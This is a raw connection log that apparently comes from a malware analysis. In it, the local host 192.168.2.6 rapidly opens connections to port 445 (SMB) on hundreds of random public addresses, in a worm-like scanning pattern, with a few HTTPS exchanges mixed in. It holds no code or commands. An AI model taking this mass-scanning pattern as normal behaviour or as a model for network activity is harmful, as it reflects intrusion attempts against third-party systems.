Jul 21, 2022 04:38:13.733467102 CEST	64036	445	192.168.2.6	67.16.94.68
Jul 21, 2022 04:38:13.733711958 CEST	64039	445	192.168.2.6	29.181.166.31
Jul 21, 2022 04:38:13.733994961 CEST	64043	445	192.168.2.6	173.35.10.17
Jul 21, 2022 04:38:13.734251022 CEST	64048	445	192.168.2.6	116.84.155.167
Jul 21, 2022 04:38:13.734388113 CEST	64049	445	192.168.2.6	190.29.246.90
Jul 21, 2022 04:38:13.789844036 CEST	64056	445	192.168.2.6	207.180.242.151
Jul 21, 2022 04:38:13.790461063 CEST	64055	445	192.168.2.6	189.172.146.36
Jul 21, 2022 04:38:14.790107012 CEST	64069	445	192.168.2.6	190.98.231.140
Jul 21, 2022 04:38:14.836909056 CEST	64071	445	192.168.2.6	216.38.142.55
Jul 21, 2022 04:38:14.837863922 CEST	64080	445	192.168.2.6	63.111.19.99
Jul 21, 2022 04:38:14.837915897 CEST	64079	445	192.168.2.6	11.163.164.82
Jul 21, 2022 04:38:14.838129044 CEST	64082	445	192.168.2.6	129.5.224.229
Jul 21, 2022 04:38:14.838288069 CEST	64083	445	192.168.2.6	31.11.2.110
Jul 21, 2022 04:38:14.838460922 CEST	64086	445	192.168.2.6	100.26.48.158
Jul 21, 2022 04:38:14.838620901 CEST	64088	445	192.168.2.6	49.182.44.226
Jul 21, 2022 04:38:14.839029074 CEST	64093	445	192.168.2.6	43.104.222.251
Jul 21, 2022 04:38:14.839937925 CEST	64106	445	192.168.2.6	87.30.149.111
Jul 21, 2022 04:38:14.840167999 CEST	64109	445	192.168.2.6	67.102.52.48
Jul 21, 2022 04:38:14.840296030 CEST	64110	445	192.168.2.6	41.105.24.124
Jul 21, 2022 04:38:14.840310097 CEST	64112	445	192.168.2.6	68.132.47.2
Jul 21, 2022 04:38:14.840521097 CEST	64114	445	192.168.2.6	182.73.155.225
Jul 21, 2022 04:38:14.840774059 CEST	64117	445	192.168.2.6	203.108.10.99
Jul 21, 2022 04:38:14.841068983 CEST	64121	445	192.168.2.6	33.103.91.8
Jul 21, 2022 04:38:14.841376066 CEST	64125	445	192.168.2.6	6.129.212.236
Jul 21, 2022 04:38:14.841548920 CEST	64127	445	192.168.2.6	142.27.163.76
Jul 21, 2022 04:38:14.842186928 CEST	64136	445	192.168.2.6	142.21.14.90
Jul 21, 2022 04:38:14.842340946 CEST	64137	445	192.168.2.6	86.5.110.131
Jul 21, 2022 04:38:14.842962980 CEST	64147	445	192.168.2.6	111.30.143.21
Jul 21, 2022 04:38:14.843133926 CEST	64148	445	192.168.2.6	204.112.118.116
Jul 21, 2022 04:38:14.843851089 CEST	64159	445	192.168.2.6	77.230.103.158
Jul 21, 2022 04:38:14.844315052 CEST	64165	445	192.168.2.6	24.199.62.5
Jul 21, 2022 04:38:14.844504118 CEST	64168	445	192.168.2.6	93.191.179.87
Jul 21, 2022 04:38:14.844933987 CEST	64176	445	192.168.2.6	53.72.224.149
Jul 21, 2022 04:38:14.845077991 CEST	64178	445	192.168.2.6	47.92.62.225
Jul 21, 2022 04:38:14.845187902 CEST	64179	445	192.168.2.6	115.170.190.84
Jul 21, 2022 04:38:14.852256060 CEST	64180	445	192.168.2.6	189.172.146.37
Jul 21, 2022 04:38:14.852334976 CEST	64181	445	192.168.2.6	207.180.242.152
Jul 21, 2022 04:38:14.875108957 CEST	445	64181	207.180.242.152	192.168.2.6
Jul 21, 2022 04:38:15.383182049 CEST	64181	445	192.168.2.6	207.180.242.152
Jul 21, 2022 04:38:15.405648947 CEST	445	64181	207.180.242.152	192.168.2.6
Jul 21, 2022 04:38:15.868290901 CEST	64192	445	192.168.2.6	190.98.231.141
Jul 21, 2022 04:38:15.931152105 CEST	64197	445	192.168.2.6	207.180.242.153
Jul 21, 2022 04:38:15.931181908 CEST	64196	445	192.168.2.6	189.172.146.38
Jul 21, 2022 04:38:15.955049992 CEST	445	64197	207.180.242.153	192.168.2.6
Jul 21, 2022 04:38:15.961843014 CEST	64200	445	192.168.2.6	14.94.120.247
Jul 21, 2022 04:38:15.962135077 CEST	64202	445	192.168.2.6	131.109.165.159
Jul 21, 2022 04:38:15.962671995 CEST	64205	445	192.168.2.6	27.221.6.215
Jul 21, 2022 04:38:15.962783098 CEST	64207	445	192.168.2.6	54.222.221.213
Jul 21, 2022 04:38:15.963221073 CEST	64216	445	192.168.2.6	87.225.122.232
Jul 21, 2022 04:38:15.963313103 CEST	64218	445	192.168.2.6	5.93.56.62
Jul 21, 2022 04:38:15.963819027 CEST	64227	445	192.168.2.6	87.98.104.203
Jul 21, 2022 04:38:15.963881016 CEST	64229	445	192.168.2.6	186.170.89.34
Jul 21, 2022 04:38:15.964349985 CEST	64240	445	192.168.2.6	160.164.54.181
Jul 21, 2022 04:38:15.964679003 CEST	64246	445	192.168.2.6	55.43.182.104
Jul 21, 2022 04:38:15.964874983 CEST	64248	445	192.168.2.6	130.216.97.183
Jul 21, 2022 04:38:15.965289116 CEST	64257	445	192.168.2.6	216.111.51.63
Jul 21, 2022 04:38:15.965317011 CEST	64258	445	192.168.2.6	128.226.193.199
Jul 21, 2022 04:38:15.965466976 CEST	64260	445	192.168.2.6	171.92.110.66
Jul 21, 2022 04:38:15.965739965 CEST	64266	445	192.168.2.6	105.253.192.241
Jul 21, 2022 04:38:15.965784073 CEST	64267	445	192.168.2.6	9.31.77.176
Jul 21, 2022 04:38:15.965970039 CEST	64270	445	192.168.2.6	29.214.167.26
Jul 21, 2022 04:38:15.966130018 CEST	64273	445	192.168.2.6	36.164.151.84
Jul 21, 2022 04:38:15.966217041 CEST	64274	445	192.168.2.6	55.50.141.78
Jul 21, 2022 04:38:15.966439009 CEST	64279	445	192.168.2.6	170.230.189.11
Jul 21, 2022 04:38:15.966988087 CEST	64292	445	192.168.2.6	46.178.171.72
Jul 21, 2022 04:38:15.967158079 CEST	64295	445	192.168.2.6	2.254.140.169
Jul 21, 2022 04:38:15.967257023 CEST	64297	445	192.168.2.6	161.25.199.107
Jul 21, 2022 04:38:15.967304945 CEST	64298	445	192.168.2.6	95.35.86.119
Jul 21, 2022 04:38:15.967464924 CEST	64301	445	192.168.2.6	71.166.19.126
Jul 21, 2022 04:38:15.967597008 CEST	64304	445	192.168.2.6	214.220.59.95
Jul 21, 2022 04:38:16.461416960 CEST	64197	445	192.168.2.6	207.180.242.153
Jul 21, 2022 04:38:16.485411882 CEST	445	64197	207.180.242.153	192.168.2.6
Jul 21, 2022 04:38:16.633271933 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:16.931222916 CEST	64317	445	192.168.2.6	190.98.231.142
Jul 21, 2022 04:38:16.993315935 CEST	64321	445	192.168.2.6	207.180.242.154
Jul 21, 2022 04:38:16.993478060 CEST	64322	445	192.168.2.6	189.172.146.39
Jul 21, 2022 04:38:17.015414953 CEST	445	64321	207.180.242.154	192.168.2.6
Jul 21, 2022 04:38:17.071535110 CEST	64324	445	192.168.2.6	63.147.2.155
Jul 21, 2022 04:38:17.072082043 CEST	64329	445	192.168.2.6	111.173.60.239
Jul 21, 2022 04:38:17.072530985 CEST	64333	445	192.168.2.6	32.69.118.55
Jul 21, 2022 04:38:17.072788954 CEST	64335	445	192.168.2.6	203.216.187.75
Jul 21, 2022 04:38:17.073765039 CEST	64347	445	192.168.2.6	70.34.237.104
Jul 21, 2022 04:38:17.074460983 CEST	64355	445	192.168.2.6	66.196.82.225
Jul 21, 2022 04:38:17.074827909 CEST	64359	445	192.168.2.6	94.21.78.147
Jul 21, 2022 04:38:17.075071096 CEST	64361	445	192.168.2.6	209.60.21.180
Jul 21, 2022 04:38:17.075968027 CEST	64370	445	192.168.2.6	25.247.252.164
Jul 21, 2022 04:38:17.076320887 CEST	64373	445	192.168.2.6	12.224.194.234
Jul 21, 2022 04:38:17.076925993 CEST	64377	445	192.168.2.6	11.220.41.198
Jul 21, 2022 04:38:17.077547073 CEST	64379	445	192.168.2.6	50.78.162.219
Jul 21, 2022 04:38:17.077810049 CEST	64381	445	192.168.2.6	172.50.89.134
Jul 21, 2022 04:38:17.077980042 CEST	64383	445	192.168.2.6	126.147.145.22
Jul 21, 2022 04:38:17.078254938 CEST	64386	445	192.168.2.6	25.2.71.5
Jul 21, 2022 04:38:17.078788996 CEST	64392	445	192.168.2.6	102.200.11.100
Jul 21, 2022 04:38:17.078994036 CEST	64394	445	192.168.2.6	215.33.112.32
Jul 21, 2022 04:38:17.079838037 CEST	64404	445	192.168.2.6	217.102.252.204
Jul 21, 2022 04:38:17.080213070 CEST	64408	445	192.168.2.6	80.204.221.155
Jul 21, 2022 04:38:17.080379963 CEST	64410	445	192.168.2.6	106.200.118.234
Jul 21, 2022 04:38:17.080379963 CEST	64409	445	192.168.2.6	115.189.57.34
Jul 21, 2022 04:38:17.080600023 CEST	64413	445	192.168.2.6	17.142.61.1
Jul 21, 2022 04:38:17.080796957 CEST	64417	445	192.168.2.6	122.233.247.178
Jul 21, 2022 04:38:17.080960989 CEST	64419	445	192.168.2.6	103.165.245.159
Jul 21, 2022 04:38:17.081059933 CEST	64422	445	192.168.2.6	210.189.170.215
Jul 21, 2022 04:38:17.081260920 CEST	64426	445	192.168.2.6	51.16.170.226
Jul 21, 2022 04:38:17.081562996 CEST	64430	445	192.168.2.6	134.251.95.99
Jul 21, 2022 04:38:17.111212015 CEST	445	64404	217.102.252.204	192.168.2.6
Jul 21, 2022 04:38:17.124711037 CEST	445	64347	70.34.237.104	192.168.2.6
Jul 21, 2022 04:38:17.242708921 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:17.512716055 CEST	445	64409	115.189.57.34	192.168.2.6
Jul 21, 2022 04:38:17.524039030 CEST	64321	445	192.168.2.6	207.180.242.154
Jul 21, 2022 04:38:17.548743963 CEST	445	64321	207.180.242.154	192.168.2.6
Jul 21, 2022 04:38:17.617753029 CEST	64404	445	192.168.2.6	217.102.252.204
Jul 21, 2022 04:38:17.633923054 CEST	64347	445	192.168.2.6	70.34.237.104
Jul 21, 2022 04:38:17.648240089 CEST	445	64404	217.102.252.204	192.168.2.6
Jul 21, 2022 04:38:17.685383081 CEST	445	64347	70.34.237.104	192.168.2.6
Jul 21, 2022 04:38:18.009434938 CEST	64443	445	192.168.2.6	190.98.231.143
Jul 21, 2022 04:38:18.024054050 CEST	64409	445	192.168.2.6	115.189.57.34
Jul 21, 2022 04:38:18.071337938 CEST	64444	445	192.168.2.6	207.180.242.155
Jul 21, 2022 04:38:18.071376085 CEST	64445	445	192.168.2.6	189.172.146.40
Jul 21, 2022 04:38:18.196383953 CEST	64451	445	192.168.2.6	2.21.226.16
Jul 21, 2022 04:38:18.196583986 CEST	64453	445	192.168.2.6	29.130.216.64
Jul 21, 2022 04:38:18.196682930 CEST	64454	445	192.168.2.6	110.104.109.204
Jul 21, 2022 04:38:18.196903944 CEST	64457	445	192.168.2.6	161.170.76.242
Jul 21, 2022 04:38:18.197184086 CEST	64461	445	192.168.2.6	169.125.73.56
Jul 21, 2022 04:38:18.197326899 CEST	64464	445	192.168.2.6	215.158.18.224
Jul 21, 2022 04:38:18.197805882 CEST	64473	445	192.168.2.6	22.217.102.250
Jul 21, 2022 04:38:18.198131084 CEST	64475	445	192.168.2.6	212.85.199.133
Jul 21, 2022 04:38:18.198215961 CEST	64479	445	192.168.2.6	197.56.43.100
Jul 21, 2022 04:38:18.198741913 CEST	64488	445	192.168.2.6	199.14.108.86
Jul 21, 2022 04:38:18.199270964 CEST	64498	445	192.168.2.6	69.241.208.106
Jul 21, 2022 04:38:18.199414968 CEST	64500	445	192.168.2.6	220.169.88.170
Jul 21, 2022 04:38:18.199665070 CEST	64505	445	192.168.2.6	206.49.90.184
Jul 21, 2022 04:38:18.200347900 CEST	64512	445	192.168.2.6	217.166.72.180
Jul 21, 2022 04:38:18.200582981 CEST	64514	445	192.168.2.6	115.228.219.18
Jul 21, 2022 04:38:18.200802088 CEST	64519	445	192.168.2.6	219.173.22.139
Jul 21, 2022 04:38:18.200972080 CEST	64521	445	192.168.2.6	21.181.252.219
Jul 21, 2022 04:38:18.201214075 CEST	64525	445	192.168.2.6	16.42.212.230
Jul 21, 2022 04:38:18.201325893 CEST	64527	445	192.168.2.6	160.153.188.142
Jul 21, 2022 04:38:18.201543093 CEST	64530	445	192.168.2.6	133.83.35.165
Jul 21, 2022 04:38:18.201669931 CEST	64532	445	192.168.2.6	46.87.43.54
Jul 21, 2022 04:38:18.201776028 CEST	64533	445	192.168.2.6	209.81.176.39
Jul 21, 2022 04:38:18.201894045 CEST	64535	445	192.168.2.6	37.77.29.46
Jul 21, 2022 04:38:18.202661037 CEST	64545	445	192.168.2.6	180.1.23.101
Jul 21, 2022 04:38:18.202892065 CEST	64549	445	192.168.2.6	223.6.52.53
Jul 21, 2022 04:38:18.203176022 CEST	64553	445	192.168.2.6	113.206.187.112
Jul 21, 2022 04:38:18.203424931 CEST	64557	445	192.168.2.6	120.155.67.110
Jul 21, 2022 04:38:18.396853924 CEST	445	64409	115.189.57.34	192.168.2.6
Jul 21, 2022 04:38:18.680399895 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:38:18.743563890 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:18.775535107 CEST	445	64564	77.129.24.4	192.168.2.6
Jul 21, 2022 04:38:18.775719881 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:18.775825977 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:18.776499987 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:18.808753967 CEST	445	64565	77.129.24.4	192.168.2.6
Jul 21, 2022 04:38:18.808919907 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:18.808985949 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:19.055372953 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:19.086666107 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:19.087240934 CEST	64571	445	192.168.2.6	190.98.231.144
Jul 21, 2022 04:38:19.149473906 CEST	64572	445	192.168.2.6	189.172.146.41
Jul 21, 2022 04:38:19.150378942 CEST	64573	445	192.168.2.6	207.180.242.156
Jul 21, 2022 04:38:19.173713923 CEST	445	64573	207.180.242.156	192.168.2.6
Jul 21, 2022 04:38:19.305824995 CEST	64579	445	192.168.2.6	12.45.152.151
Jul 21, 2022 04:38:19.306124926 CEST	64583	445	192.168.2.6	155.227.229.8
Jul 21, 2022 04:38:19.306341887 CEST	64587	445	192.168.2.6	155.138.61.31
Jul 21, 2022 04:38:19.306554079 CEST	64590	445	192.168.2.6	115.62.155.253
Jul 21, 2022 04:38:19.306643963 CEST	64592	445	192.168.2.6	113.160.193.66
Jul 21, 2022 04:38:19.306860924 CEST	64595	445	192.168.2.6	81.208.163.253
Jul 21, 2022 04:38:19.306873083 CEST	64591	445	192.168.2.6	158.42.161.115
Jul 21, 2022 04:38:19.307024002 CEST	64599	445	192.168.2.6	182.247.81.114
Jul 21, 2022 04:38:19.307183981 CEST	64602	445	192.168.2.6	154.46.150.120
Jul 21, 2022 04:38:19.307285070 CEST	64604	445	192.168.2.6	223.124.74.105
Jul 21, 2022 04:38:19.307507038 CEST	64608	445	192.168.2.6	221.227.88.109
Jul 21, 2022 04:38:19.307646990 CEST	64611	445	192.168.2.6	11.135.252.71
Jul 21, 2022 04:38:19.307743073 CEST	64613	445	192.168.2.6	26.104.15.166
Jul 21, 2022 04:38:19.307842970 CEST	64614	445	192.168.2.6	122.236.108.142
Jul 21, 2022 04:38:19.308015108 CEST	64618	445	192.168.2.6	40.15.180.211
Jul 21, 2022 04:38:19.308192015 CEST	64617	445	192.168.2.6	167.159.125.19
Jul 21, 2022 04:38:19.308573008 CEST	64629	445	192.168.2.6	110.212.163.18
Jul 21, 2022 04:38:19.308710098 CEST	64632	445	192.168.2.6	43.29.84.235
Jul 21, 2022 04:38:19.308831930 CEST	64634	445	192.168.2.6	126.141.239.71
Jul 21, 2022 04:38:19.309096098 CEST	64640	445	192.168.2.6	175.54.39.152
Jul 21, 2022 04:38:19.309377909 CEST	64645	445	192.168.2.6	25.76.103.77
Jul 21, 2022 04:38:19.309771061 CEST	64653	445	192.168.2.6	128.142.59.39
Jul 21, 2022 04:38:19.309968948 CEST	64657	445	192.168.2.6	118.176.122.132
Jul 21, 2022 04:38:19.310225964 CEST	64663	445	192.168.2.6	106.59.45.202
Jul 21, 2022 04:38:19.310877085 CEST	64673	445	192.168.2.6	218.194.91.73
Jul 21, 2022 04:38:19.311183929 CEST	64679	445	192.168.2.6	189.106.73.234
Jul 21, 2022 04:38:19.311266899 CEST	64680	445	192.168.2.6	91.139.227.224
Jul 21, 2022 04:38:19.368000031 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:19.465979099 CEST	445	64587	155.138.61.31	192.168.2.6
Jul 21, 2022 04:38:19.466125011 CEST	64587	445	192.168.2.6	155.138.61.31
Jul 21, 2022 04:38:19.466147900 CEST	64587	445	192.168.2.6	155.138.61.31
Jul 21, 2022 04:38:19.466376066 CEST	64688	445	192.168.2.6	155.138.61.1
Jul 21, 2022 04:38:19.624301910 CEST	445	64587	155.138.61.31	192.168.2.6
Jul 21, 2022 04:38:19.680422068 CEST	64573	445	192.168.2.6	207.180.242.156
Jul 21, 2022 04:38:19.696065903 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:19.703609943 CEST	445	64573	207.180.242.156	192.168.2.6
Jul 21, 2022 04:38:19.977312088 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:20.165230989 CEST	64697	445	192.168.2.6	190.98.231.145
Jul 21, 2022 04:38:20.212121010 CEST	64699	445	192.168.2.6	207.180.242.157
Jul 21, 2022 04:38:20.212145090 CEST	64700	445	192.168.2.6	189.172.146.42
Jul 21, 2022 04:38:20.237503052 CEST	445	64699	207.180.242.157	192.168.2.6
Jul 21, 2022 04:38:20.258860111 CEST	64701	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:20.395325899 CEST	445	64701	184.95.127.2	192.168.2.6
Jul 21, 2022 04:38:20.395524025 CEST	64701	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:20.430947065 CEST	64707	445	192.168.2.6	178.139.88.74
Jul 21, 2022 04:38:20.431298971 CEST	64713	445	192.168.2.6	204.38.44.10
Jul 21, 2022 04:38:20.431468010 CEST	64716	445	192.168.2.6	33.92.5.54
Jul 21, 2022 04:38:20.431545973 CEST	64717	445	192.168.2.6	67.187.229.98
Jul 21, 2022 04:38:20.431864023 CEST	64724	445	192.168.2.6	26.234.150.19
Jul 21, 2022 04:38:20.432003975 CEST	64727	445	192.168.2.6	20.168.16.62
Jul 21, 2022 04:38:20.432424068 CEST	64737	445	192.168.2.6	2.249.195.174
Jul 21, 2022 04:38:20.432584047 CEST	64740	445	192.168.2.6	203.21.66.57
Jul 21, 2022 04:38:20.432806969 CEST	64744	445	192.168.2.6	32.148.47.136
Jul 21, 2022 04:38:20.433305025 CEST	64755	445	192.168.2.6	33.88.203.117
Jul 21, 2022 04:38:20.433600903 CEST	64762	445	192.168.2.6	114.11.21.78
Jul 21, 2022 04:38:20.433712959 CEST	64764	445	192.168.2.6	24.53.245.170
Jul 21, 2022 04:38:20.434272051 CEST	64771	445	192.168.2.6	4.128.106.31
Jul 21, 2022 04:38:20.434370995 CEST	64772	445	192.168.2.6	72.93.227.55
Jul 21, 2022 04:38:20.434477091 CEST	64774	445	192.168.2.6	220.37.194.133
Jul 21, 2022 04:38:20.434732914 CEST	64778	445	192.168.2.6	33.97.142.194
Jul 21, 2022 04:38:20.434853077 CEST	64780	445	192.168.2.6	105.99.41.8
Jul 21, 2022 04:38:20.434902906 CEST	64781	445	192.168.2.6	163.1.58.194
Jul 21, 2022 04:38:20.435014963 CEST	64783	445	192.168.2.6	220.101.202.6
Jul 21, 2022 04:38:20.435314894 CEST	64789	445	192.168.2.6	59.240.184.122
Jul 21, 2022 04:38:20.435573101 CEST	64795	445	192.168.2.6	12.249.37.254
Jul 21, 2022 04:38:20.435905933 CEST	64801	445	192.168.2.6	100.63.198.204
Jul 21, 2022 04:38:20.435914993 CEST	64800	445	192.168.2.6	96.100.112.253
Jul 21, 2022 04:38:20.436084986 CEST	64803	445	192.168.2.6	23.108.235.38
Jul 21, 2022 04:38:20.436186075 CEST	64805	445	192.168.2.6	144.52.234.98
Jul 21, 2022 04:38:20.524796963 CEST	64813	445	192.168.2.6	155.138.61.2
Jul 21, 2022 04:38:20.579827070 CEST	445	64795	12.249.37.254	192.168.2.6
Jul 21, 2022 04:38:20.743165016 CEST	64699	445	192.168.2.6	207.180.242.157
Jul 21, 2022 04:38:20.766422987 CEST	445	64699	207.180.242.157	192.168.2.6
Jul 21, 2022 04:38:20.805573940 CEST	64701	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:20.899564981 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:21.086940050 CEST	64795	445	192.168.2.6	12.249.37.254
Jul 21, 2022 04:38:21.180613995 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:21.211925983 CEST	64701	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:21.227900028 CEST	64824	445	192.168.2.6	190.98.231.146
Jul 21, 2022 04:38:21.230902910 CEST	445	64795	12.249.37.254	192.168.2.6
Jul 21, 2022 04:38:21.290452957 CEST	64825	445	192.168.2.6	207.180.242.158
Jul 21, 2022 04:38:21.290457010 CEST	64826	445	192.168.2.6	189.172.146.43
Jul 21, 2022 04:38:21.540720940 CEST	64833	445	192.168.2.6	122.162.79.183
Jul 21, 2022 04:38:21.541296959 CEST	64839	445	192.168.2.6	22.16.181.236
Jul 21, 2022 04:38:21.542413950 CEST	64852	445	192.168.2.6	201.20.83.58
Jul 21, 2022 04:38:21.542658091 CEST	64854	445	192.168.2.6	132.246.184.29
Jul 21, 2022 04:38:21.542741060 CEST	64857	445	192.168.2.6	194.65.80.127
Jul 21, 2022 04:38:21.542912006 CEST	64859	445	192.168.2.6	123.24.248.82
Jul 21, 2022 04:38:21.543062925 CEST	64860	445	192.168.2.6	215.23.155.68
Jul 21, 2022 04:38:21.543224096 CEST	64862	445	192.168.2.6	5.70.59.230
Jul 21, 2022 04:38:21.543374062 CEST	64864	445	192.168.2.6	164.218.124.58
Jul 21, 2022 04:38:21.543941975 CEST	64872	445	192.168.2.6	125.195.151.247
Jul 21, 2022 04:38:21.544428110 CEST	64877	445	192.168.2.6	164.77.251.174
Jul 21, 2022 04:38:21.544692993 CEST	64882	445	192.168.2.6	53.44.89.32
Jul 21, 2022 04:38:21.544851065 CEST	64883	445	192.168.2.6	218.240.83.69
Jul 21, 2022 04:38:21.544961929 CEST	64885	445	192.168.2.6	60.225.12.209
Jul 21, 2022 04:38:21.545578003 CEST	64893	445	192.168.2.6	138.211.147.234
Jul 21, 2022 04:38:21.545748949 CEST	64896	445	192.168.2.6	31.178.156.130
Jul 21, 2022 04:38:21.546447039 CEST	64887	445	192.168.2.6	173.67.48.14
Jul 21, 2022 04:38:21.546482086 CEST	64907	445	192.168.2.6	182.133.197.225
Jul 21, 2022 04:38:21.546823025 CEST	64912	445	192.168.2.6	4.145.122.223
Jul 21, 2022 04:38:21.547594070 CEST	64918	445	192.168.2.6	15.178.198.111
Jul 21, 2022 04:38:21.547966003 CEST	64922	445	192.168.2.6	5.22.186.75
Jul 21, 2022 04:38:21.548619986 CEST	64928	445	192.168.2.6	60.128.103.238
Jul 21, 2022 04:38:21.548795938 CEST	64930	445	192.168.2.6	107.160.168.20
Jul 21, 2022 04:38:21.582103968 CEST	445	64922	5.22.186.75	192.168.2.6
Jul 21, 2022 04:38:21.587682009 CEST	64939	445	192.168.2.6	155.138.61.3
Jul 21, 2022 04:38:21.759490967 CEST	445	64852	201.20.83.58	192.168.2.6
Jul 21, 2022 04:38:22.024502993 CEST	64701	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:22.086894035 CEST	64922	445	192.168.2.6	5.22.186.75
Jul 21, 2022 04:38:22.107250929 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.107310057 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.107419014 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.108511925 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.108537912 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.117640018 CEST	445	64922	5.22.186.75	192.168.2.6
Jul 21, 2022 04:38:22.211541891 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.211688042 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.215183973 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.215200901 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.215544939 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.217571020 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.217855930 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.217865944 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.218374968 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.249780893 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.249866962 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.249958992 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.250103951 CEST	64946	443	192.168.2.6	20.199.120.182
Jul 21, 2022 04:38:22.250127077 CEST	443	64946	20.199.120.182	192.168.2.6
Jul 21, 2022 04:38:22.274454117 CEST	64852	445	192.168.2.6	201.20.83.58
Jul 21, 2022 04:38:22.290585041 CEST	64949	445	192.168.2.6	190.98.231.147
Jul 21, 2022 04:38:22.352961063 CEST	64953	445	192.168.2.6	189.172.146.44
Jul 21, 2022 04:38:22.353020906 CEST	64952	445	192.168.2.6	207.180.242.159
Jul 21, 2022 04:38:22.377244949 CEST	445	64952	207.180.242.159	192.168.2.6
Jul 21, 2022 04:38:22.383830070 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:22.489041090 CEST	445	64852	201.20.83.58	192.168.2.6
Jul 21, 2022 04:38:22.650052071 CEST	64960	445	192.168.2.6	218.158.236.21
Jul 21, 2022 04:38:22.650314093 CEST	64958	445	192.168.2.6	122.21.65.158
Jul 21, 2022 04:38:22.650324106 CEST	64965	445	192.168.2.6	191.53.36.41
Jul 21, 2022 04:38:22.650373936 CEST	64966	445	192.168.2.6	154.172.108.19
Jul 21, 2022 04:38:22.650567055 CEST	64968	445	192.168.2.6	136.68.200.141
Jul 21, 2022 04:38:22.650742054 CEST	64970	445	192.168.2.6	98.16.108.9
Jul 21, 2022 04:38:22.651108980 CEST	64976	445	192.168.2.6	92.7.158.159
Jul 21, 2022 04:38:22.651221991 CEST	64978	445	192.168.2.6	106.210.201.41
Jul 21, 2022 04:38:22.651252985 CEST	64979	445	192.168.2.6	190.123.241.2
Jul 21, 2022 04:38:22.651897907 CEST	64990	445	192.168.2.6	215.195.244.61
Jul 21, 2022 04:38:22.652264118 CEST	64996	445	192.168.2.6	120.184.22.199
Jul 21, 2022 04:38:22.652637005 CEST	65002	445	192.168.2.6	201.20.212.109
Jul 21, 2022 04:38:22.652841091 CEST	65005	445	192.168.2.6	140.200.88.63
Jul 21, 2022 04:38:22.653254032 CEST	65012	445	192.168.2.6	199.198.44.50
Jul 21, 2022 04:38:22.653331995 CEST	65013	445	192.168.2.6	184.18.33.106
Jul 21, 2022 04:38:22.653553009 CEST	65017	445	192.168.2.6	154.133.145.201
Jul 21, 2022 04:38:22.654334068 CEST	65029	445	192.168.2.6	119.186.167.86
Jul 21, 2022 04:38:22.654550076 CEST	65033	445	192.168.2.6	49.121.47.186
Jul 21, 2022 04:38:22.655066967 CEST	65042	445	192.168.2.6	192.146.69.169
Jul 21, 2022 04:38:22.655183077 CEST	65044	445	192.168.2.6	47.115.105.83
Jul 21, 2022 04:38:22.655342102 CEST	65046	445	192.168.2.6	188.98.213.30
Jul 21, 2022 04:38:22.655442953 CEST	65047	445	192.168.2.6	116.187.101.24
Jul 21, 2022 04:38:22.655625105 CEST	65049	445	192.168.2.6	16.171.154.82
Jul 21, 2022 04:38:22.655793905 CEST	65051	445	192.168.2.6	4.140.225.1
Jul 21, 2022 04:38:22.656011105 CEST	65054	445	192.168.2.6	37.130.136.116
Jul 21, 2022 04:38:22.656649113 CEST	65061	445	192.168.2.6	186.207.201.130
Jul 21, 2022 04:38:22.665411949 CEST	65066	445	192.168.2.6	155.138.61.4
Jul 21, 2022 04:38:22.883860111 CEST	64952	445	192.168.2.6	207.180.242.159
Jul 21, 2022 04:38:22.908585072 CEST	445	64952	207.180.242.159	192.168.2.6
Jul 21, 2022 04:38:23.305727959 CEST	64564	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:23.368870974 CEST	65075	445	192.168.2.6	190.98.231.148
Jul 21, 2022 04:38:23.431145906 CEST	65076	445	192.168.2.6	189.172.146.45
Jul 21, 2022 04:38:23.431180000 CEST	65077	445	192.168.2.6	207.180.242.160
Jul 21, 2022 04:38:23.587080956 CEST	64565	445	192.168.2.6	77.129.24.4
Jul 21, 2022 04:38:23.633888006 CEST	64701	445	192.168.2.6	184.95.127.2
